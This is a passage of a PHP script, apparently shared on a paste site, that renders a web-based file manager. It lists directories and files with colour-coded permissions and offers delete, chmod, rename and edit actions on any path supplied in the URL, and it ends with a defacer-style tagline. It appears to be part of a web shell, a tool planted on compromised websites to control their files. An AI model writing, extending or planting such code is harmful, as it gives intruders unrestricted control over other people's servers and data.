  3692. <th class="th_home"><center>Action</center></th>
  3693. </tr>';
  3694. foreach($scandir as $dir){
  3695. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..')
  3696. continue;
  3697. echo '<tr>
  3698. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  3699. <td><center>--</center></td>
  3700. <td><center>';
  3701. if(is_writable($path.'/'.$dir))
  3702. echo '<font color="green">';
  3703. elseif(!is_readable($path.'/'.$dir))
  3704. echo '<font color="red">';
  3705. echo perms($path.'/'.$dir);
  3706. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
  3707. echo '</font>';
  3708. echo '</center></td>
  3709. <td><center>
  3710. <form method="POST" action="?option&path='.$path.'">
  3711. <select name="opt">
  3712. <option value="">Select</option>
  3713. <option value="delete">Delete</option>
  3714. <option value="chmod">Chmod</option>
  3715. <option value="rename">Rename</option>
  3716. </select>
  3717. <input type="hidden" name="type" value="dir">
  3718. <input type="hidden" name="name" value="'.$dir.'">
  3719. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  3720. <input type="submit" value="×>>">
  3721. </form></center></td>
  3722. </tr>';
  3723. }
  3724. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  3725. foreach($scandir as $file){
  3726. if(!is_file($path.'/'.$file))
  3727. continue;
  3728. $size = filesize($path.'/'.$file)/1024;
  3729. $size = round($size,3);
  3730. if($size >= 1024){
  3731. $size = round($size/1024,2).' MB';
  3732. } else {
  3733. $size = $size.' KB';
  3734. }
  3735. echo '<tr>
  3736. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  3737. <td><center>'.$size.'</center></td>
  3738. <td><center>';
  3739. if(is_writable($path.'/'.$file))
  3740. echo '<font color="green">';
  3741. elseif(!is_readable($path.'/'.$file))
  3742. echo '<font color="red">';
  3743. echo perms($path.'/'.$file);
  3744. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  3745. echo '</center></td><td><center>
  3746. <form method="POST" action="?option&path='.$path.'">
  3747. <select name="opt">
  3748. <option value="">Select</option>
  3749. <option value="delete">Delete</option>
  3750. <option value="chmod">Chmod</option>
  3751. <option value="rename">Rename</option>
  3752. <option value="edit">Edit</option>
  3753. </select>
  3754. <input type="hidden" name="type" value="file">
  3755. <input type="hidden" name="name" value="'.$file.'">
  3756. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  3757. <input type="submit" value="#">
  3758. </form></center></td>
  3759. </tr>';
  3760. }
  3761. echo '</table></div>';
  3762. }
  3763. echo '<br><center>';
  3764. echo '<font face="Orbitron" color="lime">';
  3765. echo '&lt; Imut Imut Berjembut /&gt;';
  3766. echo '
  3767. </center>
  3768. </body>
  3769. </html>';
  3770. ?>
Add Comment
Please, Sign In to add comment